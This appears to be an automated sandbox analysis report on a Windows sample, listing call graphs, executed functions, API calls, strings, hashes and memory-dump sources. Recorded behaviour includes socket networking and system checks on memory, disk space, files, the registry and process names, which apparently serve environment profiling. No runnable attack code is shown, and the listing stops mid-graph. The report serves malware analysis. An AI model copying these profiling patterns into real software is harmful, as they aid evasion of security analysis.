70615 1015ed0 70613->70615 70618 1015a50 70615->70618 70617 1015ee5 70617->70613 70619 1015ea0 70618->70619 70620 1015a58 70618->70620 70619->70617 70621 1015b50 70620->70621 70631 1015a99 70620->70631 70635 1015b88 70620->70635 70624 1015eb4 70621->70624 70625 1015b7a 70621->70625 70621->70635 70622 1015e96 70650 1029480 closesocket 70622->70650 70651 1016f10 socket ioctlsocket connect getsockname closesocket 70624->70651 70641 10170a0 70625->70641 70628 1015ec2 70628->70628 70629 1015be2 __WSAFDIsSet 70629->70631 70630 1015da1 __WSAFDIsSet 70630->70635 70631->70629 70633 10170a0 6 API calls 70631->70633 70631->70635 70648 1016f10 socket ioctlsocket connect getsockname closesocket 70631->70648 70633->70631 70635->70622 70635->70630 70637 102a920 70635->70637 70649 1029320 closesocket 70635->70649 70638 102a944 70637->70638 70639 102a977 send 70638->70639 70640 102a94b 70638->70640 70639->70635 70640->70635 70644 10170ae 70641->70644 70643 10171a7 70643->70635 70644->70643 70645 101717f 70644->70645 70652 102a8c0 70644->70652 70656 10171c0 socket ioctlsocket connect getsockname 70644->70656 70645->70643 70657 1029320 closesocket 70645->70657 70648->70631 70649->70635 70650->70619 70651->70628 70653 102a903 recvfrom 70652->70653 70654 102a8e6 70652->70654 70655 102a8ed 70653->70655 70654->70653 70654->70655 70655->70644 70656->70644 70657->70643 70769 f98b50 70770 f98b6b 70769->70770 70788 f98bb5 70769->70788 70771 f98b8f 70770->70771 70772 f98bf3 70770->70772 70770->70788 70804 f76e40 select __WSAFDIsSet __WSAFDIsSet __WSAFDIsSet 70771->70804 70789 f9a550 70772->70789 70775 f98bfc 70778 f98c1f connect 70775->70778 70779 f98c35 70775->70779 70786 f98cb2 70775->70786 70775->70788 70776 f98cd9 SleepEx getsockopt 70780 f98d18 70776->70780 70777 f9a150 getsockname 70785 f98dff 70777->70785 70778->70779 70783 f9a150 getsockname 70779->70783 70781 f98d43 70780->70781 70780->70786 70784 f9a150 getsockname 70781->70784 70787 f98ba1 70783->70787 70784->70788 70785->70788 70805 f678b0 closesocket 70785->70805 70786->70777 70786->70785 70786->70788 70787->70776 70787->70786 70787->70788 70790 f9a575 70789->70790 70793 f9a597 70790->70793 70807 f675e0 70790->70807 70792 f678b0 closesocket 70794 f9a713 70792->70794 70795 f9a811 setsockopt 70793->70795 70800 f9a83b 70793->70800 70803 f9a69b 70793->70803 70794->70775 70795->70800 70797 f9af56 70798 f9af5d 70797->70798 70797->70803 70798->70794 70799 f9a150 getsockname 70798->70799 70799->70794 70802 f9abe1 70800->70802 70800->70803 70813 f96be0 13 API calls 70800->70813 70802->70803 70812 fc67e0 ioctlsocket 70802->70812 70803->70792 70803->70794 70804->70787 70806 f678c5 70805->70806 70806->70788 70808 f67607 socket 70807->70808 70809 f675ef 70807->70809 70810 f6762b 70808->70810 70809->70808 70811 f67643 70809->70811 70810->70793 70811->70793 70812->70797 70813->70802 70814 f6255d 70815 12e9f70 70814->70815 70816 f6256c GetSystemInfo 70815->70816 70817 f62589 70816->70817 70818 f625a0 GlobalMemoryStatusEx 70817->70818 70823 f625ec 70818->70823 70819 f6263c GetDriveTypeA 70821 f62655 GetDiskFreeSpaceExA 70819->70821 70819->70823 70820 f62762 70822 f627d6 KiUserCallbackDispatcher 70820->70822 70821->70823 70824 f627f8 70822->70824 70823->70819 70823->70820 70825 f628d9 FindFirstFileW 70824->70825 70826 f62906 FindNextFileW 70825->70826 70827 f62928 70825->70827 70826->70826 70826->70827 70658 f71139 70659 f71148 70658->70659 70661 f71527 70659->70661 70664 f70f00 70659->70664 70666 f6fec0 6 API calls 70659->70666 70661->70664 70667 f722d0 6 API calls 70661->70667 70663 f70f7b 70664->70663 70668 f9d4d0 closesocket 70664->70668 70666->70661 70667->70664 70668->70664 70669 f7d5e0 70670 f7d652 WSAStartup 70669->70670 70671 f7d5f0 70669->70671 70670->70671 70828 f9b3c0 70829 f9b3cb 70828->70829 70830 f9b3ee 70828->70830 70832 f676a0 send 70829->70832 70834 f99290 70829->70834 70831 f9b3ea 70832->70831 70835 f676a0 send 70834->70835 70836 f992e5 70835->70836 70837 f99392 70836->70837 70838 f99335 WSAIoctl 70836->70838 70837->70831 70838->70837 70839 f99366 70838->70839 70839->70837 70840 f99371 setsockopt 70839->70840 70840->70837 70841 f9e400 70842 f9e412 70841->70842 70844 f9e459 70841->70844 70845 f968b0 closesocket 70842->70845 70845->70844 70846 f9b400 70847 f9b40b 70846->70847 70848 f9b425 70846->70848 70851 f67770 70847->70851 70849 f9b421 70852 f677b6 recv 70851->70852 70853 f67790 70851->70853 70854 f67799 70852->70854 70853->70852 70853->70854 70854->70849 70855 f613c9 70858 f61160 70855->70858 70857 f613a1 70858->70857 70859 12e8a20 8 API calls 70858->70859 70859->70858

                                                    Executed Functions

                                                    Function 00F9F100 Relevance: 20.1, Strings: 15, Instructions: 1304COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connected to %s (%s) port %u$Connection time-out$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed$connect.c$created %s (timeout %lldms)$ipv4$ipv6
                                                    • API String ID: 0-1590685507
                                                    • Opcode ID: d32418097ef5b32caae83528224a5cfdcc2694d14b239e61fec735f76263c51e
                                                    • Instruction ID: b6167f953c8f51079e58e9dfa117bc1273360ec9c79ef08c3269004a1a8daf00
                                                    • Opcode Fuzzy Hash: d32418097ef5b32caae83528224a5cfdcc2694d14b239e61fec735f76263c51e
                                                    • Instruction Fuzzy Hash: FAC2E571A043449FEB14CF29C444B6AB7E1BF84324F09C66DEC989B262D771ED88DB81
                                                    Function 00F6255D Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 282fileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    • GetSystemInfo.KERNELBASE ref: 00F62579
                                                    • GlobalMemoryStatusEx.KERNELBASE ref: 00F625CC
                                                    • GetDriveTypeA.KERNELBASE ref: 00F62647
                                                    • GetDiskFreeSpaceExA.KERNELBASE ref: 00F6267E
                                                    • KiUserCallbackDispatcher.NTDLL ref: 00F627E2
                                                    • FindFirstFileW.KERNELBASE ref: 00F628F8
                                                    • FindNextFileW.KERNELBASE ref: 00F6291F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: FileFind$CallbackDiskDispatcherDriveFirstFreeGlobalInfoMemoryNextSpaceStatusSystemTypeUser
                                                    • String ID: @$`
                                                    • API String ID: 3271271169-3318628307
                                                    • Opcode ID: e3f2a0791294189d06adef23b1ef64c9707590b055f5c16c48b2cc74d3feb6b8
                                                    • Instruction ID: ceefed4e7d7ff3f9e6c9d12720946e1653108a8e5e0ace989e52103165314606
                                                    • Opcode Fuzzy Hash: e3f2a0791294189d06adef23b1ef64c9707590b055f5c16c48b2cc74d3feb6b8
                                                    • Instruction Fuzzy Hash: 6CD1BFB49047099FCB50EF68C58469EBBF4FF48354F008969E898EB354E7349A84DF92
                                                    Function 00F629FF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321registryfileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1358 f629ff-f62a2f FindFirstFileA 1359 f62a31-f62a36 1358->1359 1360 f62a38 1358->1360 1361 f62a3d-f62a91 call 139f8d0 call 139f960 RegOpenKeyExA 1359->1361 1360->1361 1366 f62a93-f62a98 1361->1366 1367 f62a9a 1361->1367 1368 f62a9f-f62b0c call 139f8d0 call 139f960 CharUpperA call 12e8da0 1366->1368 1367->1368 1376 f62b15 1368->1376 1377 f62b0e-f62b13 1368->1377 1378 f62b1a-f62b92 call 139f8d0 call 139f960 call 12e8e80 call 12e8e70 1376->1378 1377->1378 1387 f62b94-f62ba3 1378->1387 1388 f62bcc-f62c66 QueryFullProcessImageNameA CloseHandle call 12e8da0 1378->1388 1391 f62ba5-f62bae 1387->1391 1392 f62bb0-f62bc0 call 12e8e68 1387->1392 1398 f62c6f 1388->1398 1399 f62c68-f62c6d 1388->1399 1391->1388 1395 f62bc5-f62bca 1392->1395 1395->1387 1395->1388 1400 f62c74-f62ce9 call 139f8d0 call 139f960 call 12e8e80 call 12e8e70 1398->1400 1399->1400 1409 f62dcf-f62e1c call 139f8d0 call 139f960 CloseHandle 1400->1409 1410 f62cef-f62d49 call 12e8bb0 call 12e8da0 1400->1410 1419 f62e23-f62e2e 1409->1419 1423 f62d4b-f62d63 call 12e8da0 1410->1423 1424 f62d99-f62dad 1410->1424 1421 f62e37 1419->1421 1422 f62e30-f62e35 1419->1422 1425 f62e3c-f62ed6 call 139f8d0 call 139f960 1421->1425 1422->1425 1423->1424 1430 f62d65-f62d7d call 12e8da0 1423->1430 1424->1409 1440 f62eea 1425->1440 1441 f62ed8-f62ee1 1425->1441 1430->1424 1436 f62d7f-f62d97 call 12e8da0 1430->1436 1436->1424 1442 f62daf-f62dc9 call 12e8e68 1436->1442 1444 f62eef-f62f16 call 139f8d0 call 139f960 1440->1444 1441->1440 1443 f62ee3-f62ee8 1441->1443 1442->1409 1442->1410 1443->1444
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: CloseHandle$CharFileFindFirstFullImageNameOpenProcessQueryUpper
                                                    • String ID: 0
                                                    • API String ID: 2406880114-4108050209
                                                    • Opcode ID: fc53f5ce6993695974ddd28fae060be58bc19e8302482af5ac770c9503d989e1
                                                    • Instruction ID: c8a089d82988a0e335307c111a229d0fbd2be7103aa3bc3718ee8f248e99274c
                                                    • Opcode Fuzzy Hash: fc53f5ce6993695974ddd28fae060be58bc19e8302482af5ac770c9503d989e1
                                                    • Instruction Fuzzy Hash: 88E1E3B09047099FCB50EF68D98469DBBF4EF54314F40886AE898DB354E774DA88DF42
                                                    Function 00F705B0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 377networkCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1538 f705b0-f705b7 1539 f707ee 1538->1539 1540 f705bd-f705d4 1538->1540 1541 f707e7-f707ed 1540->1541 1542 f705da-f705e6 1540->1542 1541->1539 1542->1541 1543 f705ec-f705f0 1542->1543 1544 f707c7-f707cc 1543->1544 1545 f705f6-f70620 call f77350 call f670b0 1543->1545 1544->1541 1550 f70622-f70624 1545->1550 1551 f7066a-f7068c call f9dec0 1545->1551 1553 f70630-f70655 call f670d0 call f703c0 call f77450 1550->1553 1556 f707d6-f707e3 call f77380 1551->1556 1557 f70692-f706a0 1551->1557 1577 f707ce 1553->1577 1578 f7065b-f70668 call f670e0 1553->1578 1556->1541 1560 f706f4-f706f6 1557->1560 1561 f706a2-f706a4 1557->1561 1566 f707ef-f7082b call f73000 1560->1566 1567 f706fc-f706fe 1560->1567 1564 f706b0-f706e4 call f773b0 1561->1564 1564->1556 1583 f706ea-f706ee 1564->1583 1581 f70831-f70837 1566->1581 1582 f70a2f-f70a35 1566->1582 1568 f7072c-f70754 1567->1568 1573 f70756-f7075b 1568->1573 1574 f7075f-f7078b 1568->1574 1579 f70707-f70719 WSAEventSelect 1573->1579 1580 f7075d 1573->1580 1595 f70791-f70796 1574->1595 1596 f70700-f70703 1574->1596 1577->1556 1578->1551 1578->1553 1579->1556 1587 f7071f 1579->1587 1588 f70723-f70726 1580->1588 1590 f70861-f7087e 1581->1590 1591 f70839-f7084c call f76fa0 1581->1591 1584 f70a37-f70a3a 1582->1584 1585 f70a3c-f70a52 1582->1585 1583->1564 1592 f706f0 1583->1592 1584->1585 1585->1556 1593 f70a58-f70a81 call f72f10 1585->1593 1587->1588 1588->1566 1588->1568 1602 f70882-f7088d 1590->1602 1605 f70852 1591->1605 1606 f70a9c-f70aa4 1591->1606 1592->1560 1593->1556 1609 f70a87-f70a97 call f76df0 1593->1609 1595->1596 1600 f7079c-f707c2 call f676a0 1595->1600 1596->1579 1600->1596 1607 f70893-f708b1 1602->1607 1608 f70970-f70975 1602->1608 1605->1590 1611 f70854-f7085f 1605->1611 1606->1556 1612 f708c8-f708f7 1607->1612 1614 f7097b-f70989 call f670b0 1608->1614 1615 f70a19-f70a2c 1608->1615 1609->1556 1611->1602 1622 f708fd-f70925 1612->1622 1623 f708f9-f708fb 1612->1623 1614->1615 1621 f7098f-f7099e 1614->1621 1615->1582 1624 f709b0-f709c1 call f670d0 1621->1624 1625 f70928-f7093f 1622->1625 1623->1625 1629 f709c3-f709c7 1624->1629 1630 f709a0-f709ae call f670e0 1624->1630 1631 f70945-f7096b 1625->1631 1632 f708b3-f708c2 1625->1632 1634 f709e8-f70a03 WSAEnumNetworkEvents 1629->1634 1630->1615 1630->1624 1631->1632 1632->1608 1632->1612 1636 f70a05-f70a17 1634->1636 1637 f709d0-f709e6 WSAEventSelect 1634->1637 1636->1637 1637->1630 1637->1634
                                                    APIs
                                                    • WSAEventSelect.WS2_32(?,8508C483,?), ref: 00F70712
                                                    • WSAEventSelect.WS2_32(?,8508C483,00000000), ref: 00F709DD
                                                    • WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 00F709FB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID: EventSelect$EnumEventsNetwork
                                                    • String ID: multi.c
                                                    • API String ID: 2170980988-214371023
                                                    • Opcode ID: 5c772dfbb1a0db2591378261a9352ae603b48493544e54d7ea1512b202c59ca1
                                                    • Instruction ID: cd845f91e309b1f1ed2b640b955a0c1611ac94f4bbe67cb177e2a300282676fb
                                                    • Opcode Fuzzy Hash: 5c772dfbb1a0db2591378261a9352ae603b48493544e54d7ea1512b202c59ca1
                                                    • Instruction Fuzzy Hash: 38D1AE71A08301DBE710DF24CC81B6BB7E5BF94358F04882EF98986251EB74E955EB53
                                                    Function 00F76FA0 Relevance: 6.3, APIs: 4, Instructions: 261COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1675 f76fa0-f76fd2 1676 f76fd4-f76fd6 1675->1676 1677 f76feb-f76ff1 1675->1677 1678 f76fe0-f76fe4 1676->1678 1679 f76ff7-f76ff9 1677->1679 1680 f77324-f77330 1677->1680 1681 f76fe6-f76fe9 1678->1681 1682 f7701b-f77041 1678->1682 1683 f77186-f77196 1679->1683 1684 f76fff-f77016 1679->1684 1681->1677 1681->1678 1685 f77060-f77074 1682->1685 1683->1680 1684->1680 1688 f77057-f7705a 1685->1688 1689 f77076-f77081 1685->1689 1688->1685 1690 f77172-f77174 1688->1690 1689->1688 1691 f77083-f77089 1689->1691 1692 f77176-f77184 1690->1692 1693 f7719b-f771a8 1690->1693 1694 f770dc-f770df 1691->1694 1695 f7708b-f7708f 1691->1695 1700 f771f1-f7722d call f7d7f0 select 1692->1700 1693->1700 1701 f771aa-f771be 1693->1701 1698 f770e1-f770e5 1694->1698 1699 f7712c-f77132 1694->1699 1696 f77091 1695->1696 1697 f770b0-f770bd 1695->1697 1702 f770a0-f770a7 1696->1702 1704 f770d5 1697->1704 1705 f770bf-f770ce 1697->1705 1707 f770e7 1698->1707 1708 f77100-f7710d 1698->1708 1699->1688 1703 f77138-f7713c 1699->1703 1725 f77233-f7723e 1700->1725 1726 f7730b 1700->1726 1709 f771c4-f771c6 1701->1709 1710 f7730d-f77310 1701->1710 1702->1697 1713 f770a9-f770ac 1702->1713 1714 f7713e 1703->1714 1715 f7714d-f7715a 1703->1715 1704->1694 1705->1704 1718 f770f0-f770f7 1707->1718 1719 f77125 1708->1719 1720 f7710f-f7711e 1708->1720 1711 f77331-f77344 1709->1711 1712 f771cc-f771e6 1709->1712 1710->1680 1717 f77312-f77322 1710->1717 1711->1680 1734 f77346 1711->1734 1712->1680 1735 f771ec 1712->1735 1713->1702 1721 f770ae 1713->1721 1722 f77140-f77144 1714->1722 1723 f77050 1715->1723 1724 f77160-f7716d 1715->1724 1717->1680 1718->1708 1727 f770f9-f770fc 1718->1727 1719->1699 1720->1719 1721->1697 1722->1715 1729 f77146-f77149 1722->1729 1723->1688 1724->1723 1730 f7725c-f77269 1725->1730 1726->1710 1727->1718 1732 f770fe 1727->1732 1729->1722 1736 f7714b 1729->1736 1737 f77253-f77256 1730->1737 1738 f7726b-f7727b __WSAFDIsSet 1730->1738 1732->1708 1734->1717 1735->1717 1736->1715 1737->1680 1737->1730 1739 f7727d-f77287 1738->1739 1740 f7729a-f772ac __WSAFDIsSet 1738->1740 1743 f7728e-f77293 1739->1743 1744 f77289 1739->1744 1741 f772ae-f772b3 1740->1741 1742 f772ba-f772c9 __WSAFDIsSet 1740->1742 1741->1742 1746 f772b5 1741->1746 1747 f77240 1742->1747 1748 f772cf-f772f6 1742->1748 1743->1740 1745 f77295 1743->1745 1744->1743 1745->1740 1746->1742 1749 f77245-f7724c 1747->1749 1748->1749 1750 f772fc-f77306 1748->1750 1749->1737 1750->1749
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2724474520.0000000000F61000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true
                                                    • Associated: 00000000.00000002.2724454758.0000000000F60000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2724474520.0000000001575000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726116902.0000000001578000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.000000000157A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001704000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001813000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001818000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.00000000018F5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726141928.0000000001904000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2726895028.0000000001905000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727094011.0000000001ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2727119366.0000000001ABD000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_f60000_Ry6ot1YULB.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 33e0b129e87d737221266e133612f98d0aa10d45901452fa5c80662fa83ed2a0
                                                    • Instruction ID: 6f2cfefcb3bee6c35eb4b7434b58f97cdd392cd16c448fa7517d220c3d0778d5
                                                    • Opcode Fuzzy Hash: 33e0b129e87d737221266e133612f98d0aa10d45901452fa5c80662fa83ed2a0
                                                    • Instruction Fuzzy Hash: 7191F331A1D3498BD735AA2988847BB72D5EFC4330F54CB2EE8AD431D4EB759C40E682
                                                    Function 0102B180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1751 102b180-102b195 1752 102b3e0-102b3e7 1751->1752 1753 102b19b-102b1a2 1751->1753 1754 102b1b0-102b1b9 1753->1754 1754->1754 1755 102b1bb-102b1bd 1754->1755 1755->1752 1756 102b1c3-102b1d0 1755->1756 1758 102b1d6-102b1f2 1756->1758 1759 102b3db 1756->1759 1760 102b229-102b22d 1758->1760 1759->1752 1761 102b233-102b246 1760->1761 1762 102b3e8-102b417 1760->1762 1763 102b260-102b264 1761->1763 1764 102b248-102b24b 1761->1764 1770 102b582-102b589 1762->1770 1771 102b41d-102b429 1762->1771 1768 102b269-102b286 call 102af30 1763->1768 1765 102b215-102b223 1764->1765 1766 102b24d-102b256 1764->1766 1765->1760 1769 102b315-102b33c call 12e8b00 1765->1769 1766->1768 1780 102b2f0-102b301 1768->1780 1781 102b288-102b2a3 call 102b060 1768->1781 1784 102b342-102b347 1769->1784 1785 102b3bf-102b3ca 1769->1785 1774 102b435-102b44c call 102b590 1771->1774 1775 102b42b-102b433 call 102b590 1771->1775 1788 102b458-102b471 call 102b590 1774->1788 1789 102b44e-102b456 call 102b590 1774->1789 1775->1774 1780->1765 1799 102b307-102b310 1780->1799 1795 102b200-102b213 call 102b020 1781->1795 1796 102b2a9-102b2c7 getsockname call 102b020 1781->1796 1792 102b384-102b38f 1784->1792 1793 102b349-102b358 1784->1793 1790 102b3cc-102b3d9 1785->1790 1809 102b473-102b487 1788->1809 1810 102b48c-102b4a7 1788->1810 1789->1788 1790->1752 1792->1785 1794 102b391-102b3a5 1792->1794 1800 102b360-102b382 1793->1800 1801 102b3b0-102b3bd 1794->1801 1795->1765 1807 102b2cc-102b2dd 1796->1807 1799->1790 1800->1792 1800->1800 1801->1785 1801->1801 1807->1765 1811 102b2e3 1807->1811 1809->1770 1812 102b4b3-102b4cb call 102b660 1810->1812 1813 102b4a9-102b4b1 call 102b660 1810->1813 1811->1799 1818 102b4d9-102b4f5 call 102b660 1812->1818 1819 102b4cd-102b4d5 call 102b660 1812->1819 1813->1812 1824 102b4f7-102b50b 1818->1824 1825 102b50d-102b52b call 102b770 * 2 1818->1825 1819->1818 1824->1770 1825->1770 1830 102b52d-102b531 1825->1830 1831 102b533-102b53b 1830->1831 1832 102b580 1830->1832 1833 102b578-102b57e 1831->1833 1834 102b53d-102b547 